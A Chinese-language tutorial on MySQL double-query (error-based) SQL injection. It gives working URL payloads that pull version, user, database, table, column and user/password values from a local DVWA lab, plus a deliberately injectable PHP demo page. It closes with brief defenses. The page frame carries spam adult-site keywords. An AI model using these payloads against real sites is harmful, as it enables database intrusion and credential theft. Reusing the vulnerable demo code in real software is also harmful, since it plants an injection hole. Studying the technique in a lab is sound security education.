成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

數據安全之雙查詢注入解析

安全 數據安全
介紹一下雙查詢注入,什么叫雙查詢注入,這個有點難以解釋,通俗的來說就是嵌套子查詢。我們理解一下子查詢,查詢的關鍵字是select,這個大家都知道。子查詢可以簡單的理解在一個select語句里還有一個select,里面的這個select語句就是子查詢。

介紹一下雙查詢注入,什么叫雙查詢注入,這個有點難以解釋,通俗的來說就是嵌套子查詢。我們理解一下子查詢,查詢的關鍵字是select,這個大家都知道。子查詢可以簡單的理解在一個select語句里還有一個select,里面的這個select語句就是子查詢。

這種方法適用于注入的時候沒有返回位,但是有返回位的時候也適用,不過又返回位的時候就不建議在、用這個啦!返回位就是你們union select 1,2,3,4,5,6,7,8 這里是8個字段

 

shuangchaxun1

 

這里顯示2,4,5,6,7,8就是返回位

另外,就是要有返回mysql錯誤提示,php返回錯誤提示有兩種,看下圖

這是mysql返回的錯誤

 

shuangchaxun2

 

這是php返回的錯誤

 

shuangchaxun3

 

雙注入的原理,簡單一句話原理就是有研究人員發現,當在一個聚合函數,比如count函數后面如果使用分組語句就會把查詢的一部分以錯誤的形式顯示出來。

floor()和rand(),count()就不在多說啦

但是concat()函數,就來說一下,concat是一個連接函數,可以連接多個字符,例如

1concat("abc","123")="abc123"

并且支持ascii碼,例如:

1concat("abc",0x22,"123")=abc"123

(0×22就是雙引號,可以用來當分隔符)

這里在mysql輸入

1select concat((select version()))

 

shuangzhuru4

 

在concat里執行查詢要用括號括起來,同時要確定只返回 一條數據,不然得用limit來保證只有一條結果 (limit 0,1 返回第一條)

如果這條語句添加from的話,就會返回表中的記錄的條數,就是有多少條記錄就會返回多少次的版本號,看圖

 

shuangzhuru5

 

這里還沒有顯示完!!

因此

1select concat((select version()),floor(rand()*2)) from mysql.user;

(這里我用的是mysql中的mysql數據庫,user表有四條記錄 )

(小編注:rand()函數是生成0-1之間的小數隨機值,rand()*2是生成0-2之間的小數隨機數,floor(rand()*2)就相當于生成0/1兩個隨機值)

Attention,這里顯示的值是版本號加上rand()生成的,正確版本好是去掉后面的0或1

現在我們加上group by ,因為如果我們從from 某張表的話,可能里面就會有很多條記錄,然后就可能生成隨機值(據說是這樣的,如果不是,還望告知)

這里用information_schema.tables來弄,因為他的記錄夠多 ,如前一條語句,你就可以知道啦

 

shuangzhuru6

 

group by 一下多清爽啦

看語句中

1select concat((select version()),floor(rand()*2))a from information_schema.tables group by a;

這里加粗的a是把 as a 簡寫成 a 而已,說一下group by ,這個的作用就是把5.1.69-0ubuntu0.10.04.10 分為一組,5.1.69-0ubuntu0.10.04.11 的分為一組

(小編注:如果各位看官不知道這里是怎么回事,執行一下

1select concat((select version()),floor(rand()*2)) from information_schema.tables

就清楚了)

最后就來到這個count()函數了,這個函數妙用可以看一下下圖

1select count(*),concat((select version()),floor(rand()*2))a from information_schema.tables group by a

 

shuangzhuru7

 

看到了沒有,返回了我們后面concat的內容啦

ERROR 1062 (23000): Duplicate entry ’15.1.69-0ubuntu0.10.04.1′ for key ‘group_key’,我們看看phpmyadmin下比較詳細的報錯:

 

shuangchaxun21

 

說了這么多就為了這個而已!!

好了,給個小小demo(demo在本文最后)給你們,不過弄不出一個沒有顯示返回位的,所以就將就一下的

然后雙注入查詢是有固定公式的

1union select 1 from (select+count(*),concat(floor(rand(0)*2),( 注入爆數據語句))a from information_schema.tables group by a)b

這里將下面的demo設置數據庫的一些參數之后,保存成yi.php,我們的演示就正式開始了

這是正常的情況:

 

shuangzhuru8

 

加個單引號后

 

shuangzhuru9

 

這里說明有注入了,然后用order by 判斷字段咯,這里就截圖了(太麻煩啦),字段數是8個(其實不判斷也可以的,只要確定有注入就行啦)

1、先讀個數據庫的版本、用戶、當前庫名

1http://127.0.0.1/yi.php?id=-1 union select 1 from (select count(*), concat(floor(rand()*2),(select concat(version(),0x22,user(),0x22,database())))a from information_schema.tables group by a)b

 

shuangzhuru10

 

這里數據庫版本:5.1.28-rc-community

用戶是:root@localhost

數據庫名:test

2、然后讀數據庫有哪些庫

1http://127.0.0.1/yi.php?id=-1 union select 1 from (select count(*), concat(floor(rand()*2),(select schema_name from information_schema.schemata limit 0,1))a from information_schema.tables group by a)b

 

shuangzhuru11

 

這里要注意,因為sql語句會返回多條記錄,所以要用limit來限制返回的條數,limit 0,1是第一條記錄

limit 1,1是第二條記錄

(小編注:通過控制limit來逐條查看數據庫名稱,請忽略前面的0或是1)

3、然后看看有什么表

因為我有個dvwa的數據庫,所以就用那個來做示范啦

1http://127.0.0.1/yi.php?id=-1 union select 1 from (select+count(*),concat(floor(rand(0)*2),(select table_name from information_schema.tables where table_schema=0x64767761 limit 1,1))a from information_schema.tables group by a)b

加粗是dvwa的hex值,這樣得到dvwa的users的表

 

shuangzhuru12

 

4、然后看有什么字段

1http://127.0.0.1/yi.php?id=-1 union select 1 from (select count(*) ,concat(floor(rand(0)*2),(select column_name from information_schema.columns where table_name =0x7573657273 limit 0,1 ))a from information_schema.tables group by a)b

 

shuangzhuru13

 

然后修改limit的值,得到字段user,password

5、然后讀取字段的值

1http://127.0.0.1/yi.php?id=-1 union Select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(user,0x22,password) from dvwa.users limit 0,1))a from information_schema.tables group by a)b

 

shuangzhuru14

 

這樣子就得到字段的值啦,然后提醒一下,要是跨庫讀取數據,要寫成數據庫名然后.表名。因為當前數據庫是test,然后我讀的是dvwa庫的users的表,所以要寫成dvwa.users

好了基本就是這么多啦。

防范辦法:

一個是過濾啦(把’,”,union,select load_file,%,and等敏感字符都過濾啦)

另一個是參數化查詢,就是一種把查詢語句給固定死了,無論傳過來的值是什么,都只當做變量來執行查詢語句

demo的源碼:

  1. <?php 
  2. $dbuser = "root"
  3. $dbpwd = "";     //這里是mysql的密碼 
  4. $db = "test"
  5. $conn = mysql_connect("localhost",$dbuser,$dbpwdor die("error"); 
  6. mysql_select_db($db,$conn); 
  7. $id = $_GET['id']; 
  8. $query = "select * from test where id =$id"
  9. $result = mysql_query($queryor die(mysql_error()); 
  10. print_r(mysql_fetch_array($result)); 
  11. //簡單的寫一下而已 
  12. ?> 

[via@廣外(廣東外語外貿大學)網絡安全小組_臺灣鴿]

責任編輯:藍雨淚 來源: 網絡安全攻防實驗室
相關推薦

2020-08-30 14:34:42

Java語言安全編碼web安全

2010-09-30 09:11:01

2013-01-11 16:31:27

2021-05-08 15:22:31

網絡安全Web安全SQL

2012-11-14 17:18:58

2010-05-19 18:42:23

2013-07-27 14:14:25

2011-03-07 15:54:30

2020-01-11 12:53:51

雙態IT智能運維睿至大數據

2016-12-21 16:12:12

2021-07-15 06:43:12

Python數據結構

2009-08-11 17:30:46

2010-05-13 14:14:45

2020-06-08 08:25:50

據銷毀安全數據安全DSMM

2018-09-11 04:14:24

2022-03-18 14:44:14

數據安全端點安全防護

2020-12-16 13:22:37

Web安全SQL工具

2020-02-07 09:32:08

數據安全數據資產管理安全風險

2011-03-02 17:09:20

2024-01-01 16:16:26

點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 国产精品久久 | 欧美一区二区三区四区视频 | 午夜影院在线观看 | 国产免费av网| 亚洲欧美一区二区在线观看 | 亚洲精品白浆高清久久久久久 | 91av国产在线视频 | 色天天综合 | 国产资源一区二区三区 | 日韩美女一区二区三区在线观看 | 久久综合久久综合久久综合 | 日韩精品一区在线 | 岛国av一区二区三区 | 久久精品国产久精国产 | 免费视频一区二区三区在线观看 | 国产成人a亚洲精品 | 久久aⅴ乱码一区二区三区 亚洲欧美综合精品另类天天更新 | 亚洲精品日韩在线 | 黄色毛片免费看 | 天天插天天狠天天透 | 天天射影院 | 国产精品一区二区福利视频 | 国产精品日韩一区二区 | 亚洲欧美精品在线 | 一片毛片| 国产成人精品久久 | 国产精品永久 | 午夜欧美一区二区三区在线播放 | 成人激情免费视频 | 成人3d动漫一区二区三区91 | 69av网| 免费在线a视频 | 91xxx在线观看| 色性av | 日韩欧美三级在线 | 超碰人人做 | 美女日皮网站 | 人人爽日日躁夜夜躁尤物 | 激情综合五月 | 91精品国产一区二区在线观看 | 久久久久精 |